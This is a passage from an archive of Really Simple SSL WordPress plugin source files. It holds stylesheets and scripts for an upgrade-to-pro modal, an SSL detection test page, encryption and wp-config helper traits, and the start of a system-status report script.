.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn.rsp-red:hover {
  background-color: #D7263D;
  border: 1px solid #D7263D;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-bullet {
  height: 13px;
  width: 13px;
  border-radius: 50%;
  margin-right: 10px;
  text-decoration: none;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-grey {
  background-color: #eeeeee;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-green {
  background-color: #61ce70;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-red {
  background-color: #D7263D;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-yellow {
  background-color: #f8be2e;
}
.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-hidden {
  display: none;
}
/*# sourceMappingURL=upgrade-to-pro.css.map */really-simple-ssl/upgrade/upgrade-to-pro.less000064400000005550147510273070015321 0ustar00@import '../assets/css/variables.less';

#rsp-step-template, #rsp-plugin-suggestion-template {
  display:none;
}
.rsp-recommended {
  padding-bottom:10px;
}
.rsp-plugin-suggestion {
  display:flex;
  gap:10px;
  padding:20px 10px;
  background-color: #f0f6fc;
  .rsp-title {
	font-weight:bold;
  }
  .rsp-description-short{
	font-weight: bold;
	font-size:10px;
  }
  .rsp-icon img {
	width:50px;
	height:inherit;
  }
  .rsp-description {
	color:@grey-dark;
	font-size: 11px;
	line-height: 13px;
	width:300px;
  }
  .rsp-install-button {
	align-items: center;
	justify-content: center;
	display: flex;
	.button-secondary {
	  font-size: 18px;
	}
  }
  .star-rating .star {
	width: 16px;
	height: 16px;
	font-size: 16px;
  }
}
.rsp-modal-transparent-background {

  position: fixed;
  width: 100%;
  height: 100%;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: rgba(0, 0, 0, 0.7);
  z-index: 9999;

  .rsp-install-plugin-modal {

    max-height: calc(100vh - 20px);
    position: fixed;
    left: 50%;
    top: 50%;
    -ms-transform: translateX(-50%) translateY(-50%);
    transform: translateX(-50%) translateY(-50%);
    width: fit-content;
    height: fit-content;
	min-width: 700px;
    padding: 25px;
    background-color: white;
    border-radius: 10px;
	h3 {
	  font-size:23px;
	  margin: 0 0 20px 0;
	}
    .rsp-progress-bar-container {
      margin: 0 0 15px 0;

      .rsp-progress {
        overflow: hidden;
        height: 10px;
        border-radius: 5px;
        width: 100%;

        .rsp-bar {
          height: 100%;
        }
      }
    }

    .rsp-install-steps {
      display: flex;
      flex-direction: column;
      margin: 0 0 15px 0;

      .rsp-install-step {
        display: grid;
        grid-template-columns: 50px 1fr;
        grid-template-rows: 25px;
        align-items: center;
      }

    }
	.rsp-footer {
	  display:flex;
	  gap:20px;
	  align-items: center;
	  .rsp-error-message {
		color:@rsp-red;
		font-weight:14px;
		a {
		  color:@rsp-red;
		}
	  }
	  .rsp-btn {
		width: fit-content;
		margin: 0;

		&.rsp-yellow {
		  background-color: @rsp-yellow;
		  color: #333;
		  font-size:17px;
		  border: 1px solid @rsp-yellow;

		  &:hover {
			background-color: @rsp-yellow;
			border: 1px solid @rsp-yellow;
		  }
		}

		&.rsp-red {
		  background-color: @rsp-red;
		  color: white;
		  border: 1px solid @rsp-red;

		  &:hover {
			background-color: @rsp-red;
			border: 1px solid @rsp-red;
		  }
		}
	  }
	}

    .rsp-bullet {
      height: 13px;
      width: 13px;
      border-radius: 50%;
      margin-right: 10px;
      text-decoration: none;
    }

    .rsp-grey {
      background-color: @grey-light;
    }

    .rsp-green {
      background-color: @rsp-green;
    }

    .rsp-red {
      background-color: @rsp-red;
    }

    .rsp-yellow {
      background-color: @rsp-yellow;
    }

    .rsp-hidden {
      display: none;
    }

  }

}









really-simple-ssl/upgrade/upgrade-to-pro.min.css000064400000012720147510273070015722 0ustar00:root{--rsp-break-xs:400px;--rsp-break-s:576px;--rsp-break-m:768px;--rsp-break-l:992px;--rsp-break-xl:1200px;--rsp-break-xxl:1400px;--rsp-spacing-xs:10px;--rsp-spacing-s:15px;--rsp-spacing-m:20px;--rsp-spacing-l:30px;--rsp-spacing-xl:40px;--rsp-grid-margin:var(--rsp-spacing-xs);--rsp-grid-gap:var(--rsp-spacing-m);--rsp-border-radius:12px;--rsp-border:1px solid var(--rsp-border-color);--rsp-box-shadow:rgba(0, 0, 0, 0.1) 0px 4px 6px -1px, rgba(0, 0, 0, 0.06) 0px 2px 4px -1px;--rsp-border-color:#dfdfdf;--rsp-black:#333;--rsp-white:#fff;--rsp-yellow:#f4bf3e;--rsp-blue:#009fff;--rsp-dark-blue:#5A6FA5;--rsp-green:#2e8a37;--rsp-red:#D7263D;--rsp-pink:#E35899;--rsp-orange:#f39c12;--rsp-yellow-faded:rgba(244, 191, 62, 0.1);--rsp-blue-faded:rgba(0,159,255, 0.1);--rsp-dark-blue-faded:rgba(0,159,255, 0.1);--rsp-green-faded:rgba(46, 138, 55, 0.1);--rsp-red-faded:rgba(215, 38, 61, 0.1);--rsp-pink-faded:rgba(227, 88, 153, 0.1);--rsp-orange-faded:rgba(243, 156, 18, 0.1);--rsp-background-block-color:var(--rsp-white);--rsp-background-color:#f0f0f1;--rsp-input-background-color:#F1F1F1;--rsp-input-text-color:var(--rsp-text-color);--rsp-input-border-color:#8c8f94;--rsp-text-color:rgba(26, 26, 26, 0.9);--rsp-text-color-invert:rgba(255, 255, 255, 0.9);--rsp-text-color-white:rgba(255, 255, 255, 0.9);--rsp-text-color-light:rgba(69, 69, 82, 0.9);--rsp-grey-200:#fafafa;--rsp-grey-300:#ededed;--rsp-grey-400:#c6c6c6;--rsp-grey-500:#737373;--rsp-grey-600:#696969;--rsp-color-success:var(--rsp-green);--rsp-color-error:var(--rsp-red);--rsp-color-warning:var(--rsp-orange);--rsp-color-open:var(--rsp-yellow);--rsp-fs-100:0.6125rem;--rsp-fs-200:0.625rem;--rsp-fs-300:0.8125rem;--rsp-fs-400:0.875rem;--rsp-fs-500:1rem;--rsp-fs-600:1.125rem;--rsp-fs-700:1.25rem;--rsp-fs-800:1.5rem;--rsp-fs-900:2.5rem;--rsp-brand-primary:var(--rsp-green);--rsp-brand-secondary:var(--rsp-yellow);--rsp-brand-primary-faded:var(--rsp-green-faded)}#rsp-plugin-suggestion-template,#rsp-step-template{display:none}.rsp-recommended{padding-bottom:10px}.rsp-plugin-suggestion{display:flex;gap:10px;padding:20px 10px;background-color:#f0f6fc}.rsp-plugin-suggestion .rsp-title{font-weight:700}.rsp-plugin-suggestion .rsp-description-short{font-weight:700;font-size:10px}.rsp-plugin-suggestion .rsp-icon img{width:50px;height:inherit}.rsp-plugin-suggestion .rsp-description{color:#888;font-size:11px;line-height:13px;width:300px}.rsp-plugin-suggestion .rsp-install-button{align-items:center;justify-content:center;display:flex}.rsp-plugin-suggestion .rsp-install-button .button-secondary{font-size:18px}.rsp-plugin-suggestion .star-rating .star{width:16px;height:16px;font-size:16px}.rsp-modal-transparent-background{position:fixed;width:100%;height:100%;top:0;left:0;right:0;bottom:0;background-color:rgba(0,0,0,.7);z-index:9999}.rsp-modal-transparent-background .rsp-install-plugin-modal{max-height:calc(100vh - 20px);position:fixed;left:50%;top:50%;-ms-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);width:fit-content;height:fit-content;min-width:700px;padding:25px;background-color:#fff;border-radius:10px}.rsp-modal-transparent-background .rsp-install-plugin-modal h3{font-size:23px;margin:0 0 20px}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-progress-bar-container{margin:0 0 15px}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-progress-bar-container .rsp-progress{overflow:hidden;height:10px;border-radius:5px;width:100%}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-progress-bar-container .rsp-progress .rsp-bar{height:100%}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-install-steps{display:flex;flex-direction:column;margin:0 0 15px}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-install-steps .rsp-install-step{display:grid;grid-template-columns:50px 1fr;grid-template-rows:25px;align-items:center}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer{display:flex;gap:20px;align-items:center}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-error-message{color:#d7263d;font-weight:14px}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-error-message a{color:#d7263d}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn{width:fit-content;margin:0}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn.rsp-yellow{background-color:#f8be2e;color:#333;font-size:17px;border:1px solid #f8be2e}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn.rsp-yellow:hover{background-color:#f8be2e;border:1px solid #f8be2e}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn.rsp-red{background-color:#d7263d;color:#fff;border:1px solid #d7263d}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-footer .rsp-btn.rsp-red:hover{background-color:#d7263d;border:1px solid #d7263d}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-bullet{height:13px;width:13px;border-radius:50%;margin-right:10px;text-decoration:none}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-grey{background-color:#eee}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-green{background-color:#61ce70}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-red{background-color:#d7263d}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-yellow{background-color:#f8be2e}.rsp-modal-transparent-background .rsp-install-plugin-modal .rsp-hidden{display:none}really-simple-ssl/upgrade/upgrade-to-pro.min.js000064400000006611147510273070015550 0ustar00const rsp_steps=rsp_upgrade.steps;let rsp_download_link="";let rsp_progress=0;let rsp_template=document.getElementById("rsp-step-template").innerHTML;let rsp_total_step_html="";rsp_steps.forEach((step,i)=>{let stepHtml=rsp_template;stepHtml=stepHtml.replace("{doing}",step.doing);stepHtml=stepHtml.replace("{step}","rsp-step-"+i);rsp_total_step_html+=stepHtml});document.querySelector(".rsp-install-steps").innerHTML=rsp_total_step_html;const rsp_set_progress=()=>{if(rsp_progress>=100)rsp_progress=100;let progress_bar_container=document.querySelector(".rsp-progress-bar-container");let progressEl=progress_bar_container.querySelector(".rsp-progress");let bar=progressEl.querySelector(".rsp-bar");bar.style="width: "+rsp_progress+"%;";if(rsp_progress==100){clearInterval(window.rsp_interval)}};const rsp_stop_progress=()=>{clearInterval(window.rsp_interval);let progress_bar_container=document.querySelector(".rsp-progress-bar-container");let progressEl=progress_bar_container.querySelector(".rsp-progress");var bar=progressEl.querySelector(".rsp-bar");bar.style="width: 100%;";bar.classList.remove("rsp-green");bar.classList.add("rsp-red");clearInterval(window.rsp_interval)};const rsp_process_step=current_step=>{let previous_progress=current_step*Math.ceil(100/rsp_upgrade.steps.length);let progress_step=(current_step+1)*Math.ceil(100/rsp_upgrade.steps.length);clearInterval(window.rsp_interval);window.rsp_interval=setInterval(function(){let inc=.5;if(rsp_progress>progress_step-1){inc=.01}rsp_progress+=inc;if(rsp_progress>=100){rsp_progress=100}rsp_set_progress()},100);current_step=parseInt(current_step);let step=rsp_steps[current_step];let error=step["error"];let success=step["success"];const query_string=window.location.search;const urlParams=new URLSearchParams(query_string);let data={action:step["action"],token:rsp_upgrade.token,plugin:urlParams.get("plugin"),license:urlParams.get("license"),item_id:urlParams.get("item_id"),api_url:urlParams.get("api_url"),download_link:rsp_download_link,install_pro:true};rsp_ajax.get(rsp_upgrade.admin_url,data,function(response){let step_element=document.querySelector(".rsp-step-"+current_step);if(!step_element)return;let step_color=step_element.querySelector(".rsp-step-color");let step_text=step_element.querySelector(".rsp-step-text");let data=JSON.parse(response);if(data.success){if(data.download_link){rsp_download_link=data.download_link}step_color.innerHTML="<div class='rsp-green rsp-bullet'></div>";step_text.innerHTML="<span>"+step.success+"</span>";if(current_step+1==rsp_steps.length){let templateHtml=document.getElementById("rsp-plugin-suggestion-template").innerHTML;document.querySelector(".rsp-install-steps").innerHTML=templateHtml;document.querySelector(".rsp-install-plugin-modal h3").innerText=rsp_upgrade.finished_title;document.querySelector(".rsp-btn.rsp-visit-dashboard").classList.remove("rsp-hidden");rsp_progress=100;rsp_set_progress()}else{rsp_progress=progress_step;rsp_set_progress(progress_step);rsp_process_step(current_step+1)}}else{step_color.innerHTML="<div class='rsp-red rsp-bullet'></div>";if(data.message){document.querySelector(".rsp-error-message.rsp-"+step["type"]+" span").innerText=data.message}step_text.innerHTML="<span>"+step.error+"</span>";rsp_stop_progress();document.querySelector(".rsp-btn.rsp-cancel").classList.remove("rsp-hidden");document.querySelector(".rsp-error-message.rsp-"+step["type"]).classList.remove("rsp-hidden")}})};rsp_process_step(0);really-simple-ssl/upgrade/ajax.min.js000064400000001611147510273070013621 0ustar00var rsp_ajax={};rsp_ajax.x=function(){if(typeof XMLHttpRequest!=="undefined"){return new XMLHttpRequest}var versions=["MSXML2.XmlHttp.6.0","MSXML2.XmlHttp.5.0","MSXML2.XmlHttp.4.0","MSXML2.XmlHttp.3.0","MSXML2.XmlHttp.2.0","Microsoft.XmlHttp"];var xhr;for(var i=0;i<versions.length;i++){try{xhr=new ActiveXObject(versions[i]);break}catch(e){}}return xhr};rsp_ajax.send=function(url,callback,method,data,async){if(async===undefined){async=true}var x=rsp_ajax.x();x.open(method,url,async);x.onreadystatechange=function(){if(x.readyState==4){callback(x.responseText)}};if(method=="POST"){x.setRequestHeader("Content-type","application/x-www-form-urlencoded")}x.send(data)};rsp_ajax.get=function(url,data,callback,async){var query=[];for(var key in data){query.push(encodeURIComponent(key)+"="+encodeURIComponent(data[key]))}rsp_ajax.send(url+(query.length?"?"+query.join("&"):""),callback,"GET",null,async)};really-simple-ssl/ssl-test-page.php000064400000003636147510273070013341 0ustar00<html>
<head>
	<meta charset="UTF-8">
	<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
<h1>#SSL TEST PAGE#</h1>
<p>This page is used purely to test for SSL availability.</p>
<?php
$rsssl_ssl_detected = false;
if ( isset( $_SERVER['HTTPS'] ) ) {
	if ( strtolower( $_SERVER['HTTPS'] ) === 'on' ) {

		echo '#SERVER-HTTPS-ON#' . ' (' . htmlentities( $_SERVER['HTTPS'], ENT_QUOTES, 'UTF-8' ) . ')<br>';
		$rsssl_ssl_detected = true;
	}
	if ( '1' === $_SERVER['HTTPS'] ) {
		echo '#SERVER-HTTPS-1#<br>';
		$rsssl_ssl_detected = true;
	}
}

if ( isset( $_SERVER['SERVER_PORT'] ) && '443' === $_SERVER['SERVER_PORT'] ) {
	echo '#SERVERPORT443#<br>';
	$rsssl_ssl_detected = true;
}

if ( isset( $_ENV['HTTPS'] ) && 'on' === $_ENV['HTTPS'] ) {
	echo '#ENVHTTPS#<br>';
	$rsssl_ssl_detected = true;
}

if ( ! empty( $_SERVER['HTTP_CLOUDFRONT_FORWARDED_PROTO'] ) && 'https' === $_SERVER['HTTP_CLOUDFRONT_FORWARDED_PROTO'] ) {
	echo '#CLOUDFRONT#<br>';
	$rsssl_ssl_detected = true;
}

if ( ! empty( $_SERVER['HTTP_CF_VISITOR'] ) && false !== strpos( $_SERVER['HTTP_CF_VISITOR'], 'https' ) ) {
	echo '#CLOUDFLARE#<br>';
	$rsssl_ssl_detected = true;
}

if ( ! empty( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && 'https' === $_SERVER['HTTP_X_FORWARDED_PROTO'] ) {
	echo '#LOADBALANCER#<br>';
	$rsssl_ssl_detected = true;
}

if ( ! empty( $_SERVER['HTTP_X_PROTO'] ) && 'SSL' === $_SERVER['HTTP_X_PROTO'] ) {
	echo '#HTTP_X_PROTO#<br>';
	$rsssl_ssl_detected = true;
}

if ( ! empty( $_SERVER['HTTP_X_FORWARDED_SSL'] ) && 'on' === $_SERVER['HTTP_X_FORWARDED_SSL'] ) {
	echo '#HTTP_X_FORWARDED_SSL_ON#<br>';
	$rsssl_ssl_detected = true;
}

if ( ! empty( $_SERVER['HTTP_X_FORWARDED_SSL'] ) && '1' === $_SERVER['HTTP_X_FORWARDED_SSL'] ) {
	echo '#HTTP_X_FORWARDED_SSL_1#<br>';
	$rsssl_ssl_detected = true;
}

if ( $rsssl_ssl_detected ) {
	echo '<br>#SUCCESSFULLY DETECTED SSL#';
} else {
	echo '<br>#NO KNOWN SSL CONFIGURATION DETECTED#';
}
?>

</body>
</html>
really-simple-ssl/lib/admin/class-encryption.php000064400000007110147510273070015773 0ustar00<?php
namespace RSSSL\lib\admin;

require_once __DIR__ . '/class-helper.php';

/**
 * Trait admin helper
 *
 *
 * @package RSSSL\lib\admin\encryption
 * @since   8.2
 *
 * @author  Really Simple Security
 * @see     https://really-simple-ssl.com
 */
trait Encryption {
	use Helper;

	/**
	 * Encrypt a string with a prefix. If the prefix is already there, it's already encrypted
	 *
	 * @param string $data
	 * @param string $prefix
	 *
	 * @return string
	 */

	public function encrypt_with_prefix( string $data, string $prefix = 'rsssl_'):string {
		if ( strpos($data, $prefix) === 0 ) {
			return $data;
		}

		$data = $this->encrypt($data);
		return $prefix . $data;
	}

	/**
	 * Decrypt data if prefixed. If not prefixed, return the data, as it is already decrypted
	 *
	 * @param string $data
	 * @param string $prefix
	 *
	 * @return string
	 */
	public function decrypt_if_prefixed( string $data, string $prefix = 'rsssl_', string $deprecated_key = '' ):string{
		if ( strpos($data, $prefix) !== 0 ) {
			return $data;
		}
		$data = substr($data, strlen($prefix));

		return $this->decrypt($data, 'string', $deprecated_key);
	}

	/**
	 * Encrypt a string.
	 *
	 * @param array|string $data
	 * @param string $type //ARRAY or STRING
	 *
	 * @return string
	 */
	public function encrypt( $data, string $type = 'string' ): string {

		$key = $this->get_encryption_key();

		if ( 'array' === strtolower( $type ) ) {
			$data = serialize($data);
		}

		if ( strlen( trim( $data ) ) === 0 ) {
			return '';
		}

		$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
		$encrypted = openssl_encrypt($data, 'aes-256-cbc', $key, 0, $iv);
		return base64_encode($encrypted . '::' . $iv);
	}

	/**
	 * Decrypt data
	 *
	 * @param mixed $data
	 * @param string $type
	 * @param string $deprecated_key
	 *
	 * @return array|string
	 */
	public function decrypt( $data, string $type = 'string', $deprecated_key = '' ) {
		// Check if user is logged in
		$key = ! empty( $deprecated_key ) ? $deprecated_key : $this->get_encryption_key();

		// If $data is empty, return appropriate empty value based on type
		if ( empty( $data ) ) {
			return strtolower( $type ) === 'string' ? '' : [];
		}

		// If $data is not a string (i.e., it's already an array), return it as is
		if ( ! is_string( $data ) ) {
			return $data;
		}

		$decoded = base64_decode( $data );
		if ( false === $decoded ) {
			return strtolower( $type ) === 'string' ? '' : [];
		}

		if ( strpos( $decoded, '::' ) !== false ) {
			[ $encrypted_data, $iv ] = explode( '::', $decoded, 2 );
		} else {
			// Deprecated method, for backwards compatibility (license decryption)
			$ivlength       = openssl_cipher_iv_length( 'aes-256-cbc' );
			$iv             = substr( $decoded, 0, $ivlength );
			$encrypted_data = substr( $decoded, $ivlength );
		}

		if ( function_exists( 'openssl_decrypt' ) ) {
			$decrypted_data = openssl_decrypt( $encrypted_data, 'aes-256-cbc', $key, 0, $iv );
		} else {
			$this->log( 'The function openssl_decrypt does not exist. Check with your host if the OpenSSL library for PHP can be enabled.' );

			return strtolower( $type ) === 'string' ? '' : [];
		}

		if ( 'array' === strtolower( $type ) ) {
			$unserialized_data = @unserialize( $decrypted_data );

			return ( is_array( $unserialized_data ) ) ? $unserialized_data : [];
		}

		return $decrypted_data;
	}

	private function get_encryption_key(): string {
		// First, check if we have a key defined as a constant
		if ( defined( 'RSSSL_KEY' ) ) {
			return RSSSL_KEY;
		}

		// If not, check if we have a key stored in the database
		return get_site_option( 'rsssl_main_key' );

	}
}
really-simple-ssl/lib/admin/class-helper.php000064400000003077147510273070015070 0ustar00<?php
namespace RSSSL\lib\admin;

/**
 * Trait admin helper
 *
 *
 * @package RSSSL\helper
 * @since   8.2
 *
 * @author  Really Simple Security
 * @see     https://really-simple-ssl.com
 */
trait Helper {
	/**
	 * Get the wp-config path
	 *
	 * @return string
	 */
	public function wpconfig_path(): string {
		// Allow the wp-config.php path to be overridden via a filter.
		$filtered_path = apply_filters( 'rsssl_wpconfig_path', '' );

		// If a filtered path is provided, validate it.
		if ( ! empty( $filtered_path ) ) {
			$directory = dirname( $filtered_path );

			// Ensure the directory exists before checking for the file.
			if ( is_dir( $directory ) && file_exists( $filtered_path ) ) {
				return $filtered_path;
			}
		}

		// Default behavior to locate wp-config.php
		$location_of_wp_config = ABSPATH;
		if ( ! file_exists( ABSPATH . 'wp-config.php' ) && file_exists( dirname( ABSPATH ) . '/wp-config.php' ) ) {
			$location_of_wp_config = dirname( ABSPATH );
		}

		$location_of_wp_config = trailingslashit( $location_of_wp_config );
		$wpconfig_path         = $location_of_wp_config . 'wp-config.php';

		// Check if the file exists and return the path if valid.
		if ( file_exists( $wpconfig_path ) ) {
			return $wpconfig_path;
		}

		// Return an empty string if no valid wp-config.php path is found.
		return '';
	}


	/**
	 * Log a message if WP_DEBUG is enabled
	 *
	 * @param string $message
	 *
	 * @return void
	 */
	public function log( string $message ): void {
		if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
			error_log( "Really Simple Security: ".$message );
		}
	}

}
really-simple-ssl/system-status.php000064400000042206147510273070013512 0ustar00<?php
# No need for the template engine
if ( ! defined( 'WP_USE_THEMES' ) ) {
	define( 'WP_USE_THEMES', false ); // phpcs:ignore
}
//we set wp admin to true, so the backend features get loaded.
if ( ! defined( 'RSSSL_DOING_SYSTEM_STATUS' ) ) {
	define( 'RSSSL_DOING_SYSTEM_STATUS', true ); // phpcs:ignore
}

#find the base path
if ( ! defined( 'BASE_PATH' ) ) {
	define( 'BASE_PATH', rsssl_find_wordpress_base_path() . '/' );
}

# Load WordPress Core
if ( ! file_exists( BASE_PATH . 'wp-load.php' ) ) {
	die( 'WordPress not installed here' );
}
require_once BASE_PATH . 'wp-load.php';
require_once ABSPATH . 'wp-includes/class-phpass.php';
require_once ABSPATH . 'wp-admin/includes/image.php';
require_once ABSPATH . 'wp-admin/includes/plugin.php';

//by deleting these we make sure these functions run again
delete_transient( 'rsssl_testpage' );
function rsssl_get_system_status() {
	$output = '';
	global $wp_version;

	$output .= "General\n";
	$output .= 'Domain: ' . site_url() . "\n";
	$output .= 'Plugin version: ' . rsssl_version . "\n";
	$output .= 'WordPress version: ' . $wp_version . "\n";

	if ( RSSSL()->certificate->is_valid() ) {
		$output .= "SSL certificate is valid\n";
	} else {
		if ( ! function_exists( 'stream_context_get_params' ) ) {
			$output .= "stream_context_get_params not available\n";
		} elseif ( RSSSL()->certificate->detection_failed() ) {
			$output .= "Not able to detect certificate\n";
		} else {
			$output .= "Invalid SSL certificate\n";
		}
	}

	$output .= ( rsssl_get_option( 'ssl_enabled' ) ) ? "SSL is enabled\n\n"
		: "SSL is not yet enabled\n\n";

	$output .= "Options\n";
	if ( rsssl_get_option( 'mixed_content_fixer' ) ) {
		$output .= "* Mixed content fixer\n";
	}
	$output .= '* WordPress redirect' . rsssl_get_option( 'redirect' ) . "\n";

	if ( rsssl_get_option( 'switch_mixed_content_fixer_hook' ) ) {
		$output .= "* Use alternative method to fix mixed content\n";
	}
	if ( rsssl_get_option( 'dismiss_all_notices' ) ) {
		$output .= "* Dismiss all Really Simple Security notices\n";
	}
	$output .= "\n";

	$output .= "Server information:\n";
	$output .= 'Server: ' . RSSSL()->server->get_server() . "\n";
	$output .= 'SSL Type: ' . RSSSL()->admin->ssl_type . "\n";

	if ( function_exists( 'phpversion' ) ) {
		$output .= 'PHP Version: ' . phpversion() . "\n\n";
	}

	if ( is_multisite() ) {
		$output .= "MULTISITE\n";
	}

	if ( rsssl_is_networkwide_active() ) {
		$output .= "Really Simple Security network wide activated\n";
	} elseif ( is_multisite() ) {
		$output .= "Really Simple Security per site activated\n";
	}

	$output   .= 'SSL Configuration:' . "\n";
	$domain   = RSSSL()->certificate->get_domain();
	$certinfo = RSSSL()->certificate->get_certinfo( $domain );
	if ( ! $certinfo ) {
		$output .= 'SSL certificate not valid' . "\n";
	}

	$domain_valid = RSSSL()->certificate->is_domain_valid( $certinfo, $domain );
	if ( ! $domain_valid ) {
		$output .= "Domain on certificate does not match website's domain" . "\n";
	}

	$date_valid = RSSSL()->certificate->is_date_valid( $certinfo );
	if ( ! $date_valid ) {
		$output .= 'Date on certificate expired or not valid' . "\n";
	}
	$filecontents = get_transient( 'rsssl_testpage' );
	if ( strpos( $filecontents, '#SSL TEST PAGE#' ) !== false ) {
		$output .= 'SSL test page loaded successfully' . "\n";
	} else {
		$output .= 'Could not open testpage' . "\n";
	}
	if ( RSSSL()->admin->wpconfig_siteurl_not_fixed ) {
		$output .= 'siteurl or home url defines found in wp-config.php' . "\n";
	}
	if ( RSSSL()->admin->wpconfig_siteurl_not_fixed ) {
		$output .= 'not able to fix wpconfig siteurl/homeurl.' . "\n";
	}

	if ( ! is_writable( rsssl_find_wp_config_path() ) ) {
		$output .= 'wp-config.php not writable<br>';
	}
	$output .= 'Detected SSL setup: ' . RSSSL()->admin->ssl_type . "\n";
	if ( file_exists( RSSSL()->admin->htaccess_file() ) ) {
		$output .= 'htaccess file exists.' . "\n";
		if ( ! is_writable( RSSSL()->admin->htaccess_file() ) ) {
			$output .= 'htaccess file not writable.' . "\n";
		}
	} else {
		$output .= 'no htaccess file available.' . "\n";
	}

	if ( get_transient( 'rsssl_htaccess_test_success' ) === 'success' ) {
		$output .= 'htaccess redirect tested successfully.' . "\n";
	} elseif ( get_transient( 'rsssl_htaccess_test_success' ) === 'error' ) {
		$output .= 'htaccess redirect test failed.' . "\n";
	} elseif ( get_transient( 'rsssl_htaccess_test_success' ) === 'no-response' ) {
		$output .= 'htaccess redirect test failed: no response from server.' . "\n";
	}
	$mixed_content_fixer_detected = get_transient( 'rsssl_mixed_content_fixer_detected' );
	if ( 'no-response' === $mixed_content_fixer_detected ) {
		$output .= 'Could not connect to webpage to detect mixed content fixer' . "\n";
	}
	if ( 'not-found' === $mixed_content_fixer_detected ) {
		$output .= 'Mixed content marker not found in websource' . "\n";
	}
	if ( 'error' === $mixed_content_fixer_detected ) {
		$output .= 'Mixed content marker not found: unknown error' . "\n";
	}
	if ( 'curl-error' === $mixed_content_fixer_detected ) {
		//Site has has a cURL error
		$output .= 'Mixed content fixer could not be detected: cURL error' . "\n";
	}
	if ( 'found' === $mixed_content_fixer_detected ) {
		$output .= 'Mixed content fixer successfully detected' . "\n";
	}
	if ( ! rsssl_get_option( 'mixed_content_fixer' ) ) {
		$output .= 'Mixed content fixer not enabled' . "\n";
	}
	if ( ! RSSSL()->admin->htaccess_contains_redirect_rules() ) {
		$output .= '.htaccess does not contain default Really Simple Security redirect.' . "\n";
	}

	$output .= "\nConstants\n";

	if ( defined( 'RSSSL_FORCE_ACTIVATE' ) ) {
		$output .= "RSSSL_FORCE_ACTIVATE defined\n";
	}
	if ( defined( 'RSSSL_NO_FLUSH' ) ) {
		$output .= "RSSSL_NO_FLUSH defined\n";
	}
	if ( defined( 'RSSSL_DISMISS_ACTIVATE_SSL_NOTICE' ) ) {
		$output .= "RSSSL_DISMISS_ACTIVATE_SSL_NOTICE defined\n";
	}
	if ( defined( 'RSSSL_SAFE_MODE' ) ) {
		$output .= "RSSSL_SAFE_MODE defined\n";
	}
	if ( defined( 'RSSSL_SERVER_OVERRIDE' ) ) {
		$output .= "RSSSL_SERVER_OVERRIDE defined\n";
	}
	if ( defined( 'rsssl_no_rest_api_redirect' ) ) {
		$output .= "rsssl_no_rest_api_redirect defined\n";
	}
	if ( defined( 'rsssl_no_wp_redirect' ) ) {
		$output .= "rsssl_no_wp_redirect defined\n";
	}
	if ( defined( 'RSSSL_CONTENT_FIXER_ON_INIT' ) ) {
		$output .= "RSSSL_CONTENT_FIXER_ON_INIT defined\n";
	}
	if ( defined( 'FORCE_SSL_ADMIN' ) ) {
		$output .= "FORCE_SSL_ADMIN defined\n";
	}
	if ( defined( 'RSSSL_CSP_MAX_REQUESTS' ) ) {
		$output .= "RSSSL_CSP_MAX_REQUESTS defined\n";
	}
	if ( defined( 'RSSSL_DISABLE_CHANGE_LOGIN_URL' ) ) {
		$output .= "RSSSL_DISABLE_CHANGE_LOGIN_URL defined\n";
	}
	if ( defined( 'RSSSL_LEARNING_MODE' ) ) {
		$output .= "RSSSL_LEARNING_MODE defined\n";
	}
	if ( defined( 'RSSSL_DEACTIVATING_FREE' ) ) {
		$output .= "RSSSL_DEACTIVATING_FREE defined\n";
	}
	if ( defined( 'RSSSL_UPGRADING_TO_PRO' ) ) {
		$output .= "RSSSL_UPGRADING_TO_PRO defined\n";
	}

	if ( ! defined( 'RSSSL_FORCE_ACTIVATE' )
	     && ! defined( 'RSSSL_NO_FLUSH' )
	     && ! defined( 'RSSSL_DISMISS_ACTIVATE_SSL_NOTICE' )
	     && ! defined( 'RSSSL_SAFE_MODE' )
	     && ! defined( 'RSSSL_SERVER_OVERRIDE' )
	     && ! defined( 'rsssl_no_rest_api_redirect' )
	     && ! defined( 'rsssl_no_wp_redirect' )
	     && ! defined( 'RSSSL_CONTENT_FIXER_ON_INIT' )
	     && ! defined( 'FORCE_SSL_ADMIN' )
	     && ! defined( 'RSSSL_CSP_MAX_REQUESTS' )
	     && ! defined( 'RSSSL_DISABLE_CHANGE_LOGIN_URL' )
	     && ! defined( 'RSSSL_LEARNING_MODE' )
	     && ! defined( 'RSSSL_DEACTIVATING_FREE' )
	     && ! defined( 'RSSSL_UPGRADING_TO_PRO' )
	) {
		$output .= "No constants defined\n";
	}

	$output .= "\n";

